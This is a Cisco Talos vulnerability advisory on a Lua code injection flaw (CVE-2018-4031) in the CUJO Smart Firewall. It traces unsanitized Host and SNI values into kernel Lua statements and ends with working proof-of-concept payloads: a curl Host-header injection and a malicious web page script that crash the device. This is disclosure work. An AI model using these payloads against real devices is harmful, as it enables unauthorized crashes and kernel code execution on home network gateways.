CVE-2018-4031
An exploitable vulnerability exists in the safe browsing function of the CUJO Smart Firewall, version 7003. The flaw lies in the way the safe browsing function parses HTTP requests. The server hostname is extracted from captured HTTP/HTTPS requests and inserted as part of a Lua statement without prior sanitization, which results in arbitrary Lua
script execution in the kernel. An attacker could send an HTTP request to exploit this vulnerability.
CUJO Smart Firewall - Firmware version 7003
https://www.getcujo.com/smart-firewall-cujo/
9.0 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE-94: Improper Control of Generation of Code (‘Code Injection’)
CUJO AI produces the CUJO Smart Firewall, a device that protects home networks from a variety of threats, such as malware, phishing websites and hacking attempts. It also provides a way to monitor specific devices in the network and limit their internet access.
CUJO works as a gateway and splits the home network in two: a monitored network and an unmonitored network (where the main home router is). This way, it can inspect (and block) malicious traffic on the internet. They also provide Android and iOS applications for managing the device.
The board utilizes an OCTEON III CN7020 processor produced by Cavium Networks, which has a cnMIPS64 microarchitecture.
The firmware is present in the external eMMC and is based on OCTEON’s SDK, which results in a Linux-based operating system running a kernel with PaX patches.
During normal operation, the core process is agent
— it establishes a persistent WebSocket over TLS communication with the remote CUJO server agent.cujo.io
on port 444, which enables an indirect and remote communication with the smartphone application. This process also communicates with “tappers”, which are processes meant to listen for a variety of network activities.
In addition, CUJO’s safebro
component inspects a subset of the network traffic using a combination of iptables rules and Lua scripts:
# iptables -S FORWARD
-P FORWARD ACCEPT
-A FORWARD -m set --match-set blacklist src -j DROP
-A FORWARD -m set --match-set blacklist dst -j DROP
[1] -A FORWARD -p tcp -m tcp --dport 443 --tcp-flags PSH PSH -m lua --function nf_ssl -j REJECT --reject-with tcp-reset
-A FORWARD -p tcp -m tcp --dport 80 --tcp-flags FIN FIN -m lua --function nf_http_fin -j REJECT --reject-with tcp-reset
[2] -A FORWARD -p tcp -m tcp --dport 80 --tcp-flags PSH PSH -m lua --function nf_http -j DROP
Since CUJO redirects all network traffic to itself, in order to act as a router, any packet on the network with destination port 443 or 80 match the rules [1] or [2] shown above.
For the sake of simplicity, let’s consider the port 80 only. This rule sends the packet contents to the netfilter module libxt_lua.so
, which simply calls the Lua function nf_http
, passing the packet’s payload as first argument. Lunatic, a Lua engine implementation for the Linux kernel, evaluates the Lua call, so such script executions happen in the kernel context.
The initial configuration of the in-kernel Lua environment is performed by the agent-flush
script:
...
NF_SCRIPTS="nf nf_lru nf_threat nf_safebro nf_ssl nf_http"
for script in ${NF_SCRIPTS}; do
[3] if ! cat /usr/libexec/cujo/lua/${script}.lua > /proc/nf_lua; then
logger -is "$0: failed to load ${script}.lua on nf_lua"
exit 3
fi
done
...
At [3], we can see how userland process can execute a Lua statement in kernel by simply writing to /proc/nf_lua
.
The script above sets up a series of functions that are then invoked by the iptables rules in order to analyze the network traffic. For example, the nf_http
function is defined in nf_http.lua
:
...
function nf_http(frame, packet)
local mac = nf.mac(frame)
local ip = nf.ipv4(packet)
local tcp, payload = nf.tcp(ip)
if payload and not threat.bypass[mac.src] then
local request = tostring(payload)
[4] local path, host = string.match(request, '[A-Z]+ (%g+).*Host: (%g+)')
if host then
local key = string.format('%s:%x', host, mac.src)
return not threat.whitelist[key] and not unblock(host, request, key)
[5] and block(host, key, path, mac, ip, tcp) -- DROP
end
end
return false -- ALLOW
end
...
local function block(host, key, path, mac, ip, tcp)
[6] local block, reason = safebro.filter(host, ip.src, mac.src)
[13] if block then
local salt
local page = blockpage
if reason == 'safe browsing' then
page = warnpage
salt = math.random()
blocked[key] = salt
end
nf.reply('tcp', response(page, host .. path, salt))
finished[source(ip, tcp)] = true
end
return block
end
...
The “Host” header is extracted [4] from the packet. If found, it is passed to the block
[5] function, which internally uses safebro.filter
[6] to decide whether to block or allow the connection.
The call to safebro.filter
eventually reaches threat.lookup
[7] which leads to querying the threatd
process in userspace:
local function command(cmd, data)
[8] nf.touser(string.format("%s %s", cmd, json.encode(data or '{}')))
end
local cache = lru.new(1024, 24 * 60 * 60)
local pending = lru.new(128, 60)
[7] function threat.lookup(hostname)
local entry = cache[hostname]
if not entry then
if not pending[hostname] then
pending[hostname] = true
[9] command('lookup', {hostname = hostname})
end
print('cache miss: ' .. hostname)
return nil
end
return table.unpack(entry)
end
The function nf.touser
is invoked at [8]: this function writes back to /proc/nf_lua
, which is also read by the threatd
process. This is the way CUJO uses to allow the kernel to communicate with userland processes.
The threatd
process is implemented as a Lua script, and defines a lookup
command [9] that checks the reputation of the destination host:
...
[9] lookup = function (nflua, data)
[10] local reputation, categories = lookup(data.hostname)
[11] local cache = string.format('threat.cache("%s",{%s,{%s}})',
[12] data.hostname, reputation, table.concat(categories, ','))
assert(nflua:write(cache))
nflua:flush()
end,
...
First, threatd
uses the lookup
call [10] to query Brightcloud’s services, and finally returns the host reputation back to nf_lua
, that is the Lua engine running in kernel.
In practice, returning values from userland is implemented by evaluating Lua statements: at [11] the hostname and its reputation data are inserted in a table called threat.cache
, and executed by writing to /proc/nf_lua
[12].
Back to the kernel context, the reputation is checked and the filtering decision is chosen accordingly [13].
The same logic is implemented for SSL connections (for packets matching the rule [1]), with the only difference being the hostname extraction: in this case the hostname is extracted from the server_name
extension of the ClientHello
message, without any modification, and passed to threatd
to perform the reputation check.
Notice how at [11] the hostname is inserted in the Lua statement. The hostname is user-controlled, as it is extracted from the client’s HTTP headers, and is never sanitized. In fact, the hostname can contain any character matching the “%g” class from the regular expression at [4], that is, any printable character except space.
Thus, an attacker could use the “Host” header to inject arbitrary Lua statements, that are eventually executed in Lunatik. Moreover, since the load()
function is present and unrestricted in Lunatik, it allows for loading arbitrary Lua bytecode. This is known to be insecure, as per Lua documentation:
Lua does not check the consistency of binary chunks. Maliciously crafted binary chunks can crash the interpreter. It is thus possible for an attacker to leverage this vulnerability to achieve remote code execution in the kernel context, without authentication.
Additionally, note that this vulnerability could be used together with TALOS-2018-0702: this would allow a remote website to exploit both vulnerabilities and compromise a CUJO device, without requiring a direct communication channel between CUJO and the website.
The following proof of concept shows how to crash the Lunatik engine, and thus the device, by triggering a kernel out-of-bounds read.
$ curl "http://${IP}" -H 'Host: ");x=string.dump(load"a()");load(x:sub(1,54)..string.char(184)..x:sub(56))();--'
The command can be run from any device that is in CUJO’s network. The target ${IP}
can be any the address of any remote server that answers on TCP port 80.
Additionally, consider the following proof of concept, that combines with TALOS-2018-0702:
<script>
payload = 'A'.repeat(1500) + ' X Host: ");x=string.dump(load"a()");load(x:sub(1,54)..string.char(184)..x:sub(56))();--';
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("post", "/");
xmlHttp.send(payload);
</script>
A malicious website could return the page above, that would make a client in CUJO’s network to execute a POST request to the same website. Assuming an MSS of 1460, such request would be split in two packets. The second packet would contain the following data:
AAAAAAAAAA...AAAAAAAA X Host: ");x=string.dump(load"a()");load(x:sub(1,54)..string.char(184)..x:sub(56))();--';
Because of the weak regular expression filtering, CUJO is tricked into extracting the “Host” header from this packet, triggering the code injection vulnerability.
2018-11-05 - Vendor Disclosure
2019-03-19 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.